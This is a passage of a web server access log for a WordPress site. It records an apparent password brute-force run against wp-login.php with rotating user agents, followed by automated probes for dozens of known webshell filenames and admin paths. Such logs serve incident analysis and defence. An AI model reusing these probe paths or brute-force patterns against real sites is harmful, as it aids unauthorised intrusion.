- - [08/Mar/2026:01:12:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:45 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:45 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:45 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:46 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:46 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:48 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:48 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:48 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:48 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:48 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:48 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:48 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:48 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:48 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:48 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:48 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:48 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:49 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:49 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:49 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:49 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:49 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:49 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:49 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:38 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 149.102.225.177 - - [08/Mar/2026:01:11:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:47 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:47 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 57.128.52.136 - - [08/Mar/2026:01:35:20 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "get_local:DCV" 91.224.92.195 - - [08/Mar/2026:01:11:18 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.159.135.203 - - [08/Mar/2026:02:14:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.224.92.195 - - [08/Mar/2026:01:11:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:46 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:46 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:47 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:47 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:47 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:47 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:47 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:47 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:47 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:26 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:49 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:49 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:49 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:49 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:49 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:50 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:50 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:50 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:50 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:09:27 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 57.128.52.136 - - [08/Mar/2026:01:34:42 +0300] "GET /.well-known/pki-validation/LA.php HTTP/1.1" 404 796 "-" "get_local:DCV" 67.169.98.211 - - [08/Mar/2026:04:16:12 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 164.92.66.167 - - [08/Mar/2026:04:08:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0" 173.252.82.21 - - [08/Mar/2026:05:53:00 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 192.144.148.122 - - [08/Mar/2026:05:52:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.204.200.32 - - [08/Mar/2026:07:32:38 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:41 +0300] "GET /loli.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:44 +0300] "GET /aa17.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:48 +0300] "GET /as4AaPasd.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:34:09 +0300] "GET /maa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:34:14 +0300] "GET /r4f_1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:34:19 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:34:23 +0300] "GET /resp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:34:26 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:34:30 +0300] "GET /sxb.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:34:33 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:34:36 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:34:39 +0300] "GET /dox.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:08 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:11 +0300] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:16 +0300] "GET /fr/ms.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:20 +0300] "GET /pouhg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:24 +0300] "GET /opts.php HTTP/1.1" 301 795 "-" "-" 193.37.32.205 - - [08/Mar/2026:08:10:47 +0300] "GET /wp-content/updraft/plugins-old/updraftplus/vendor/team-updraft/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.205 - - [08/Mar/2026:08:10:51 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:10:54 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:10:56 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:10:58 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:02 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" 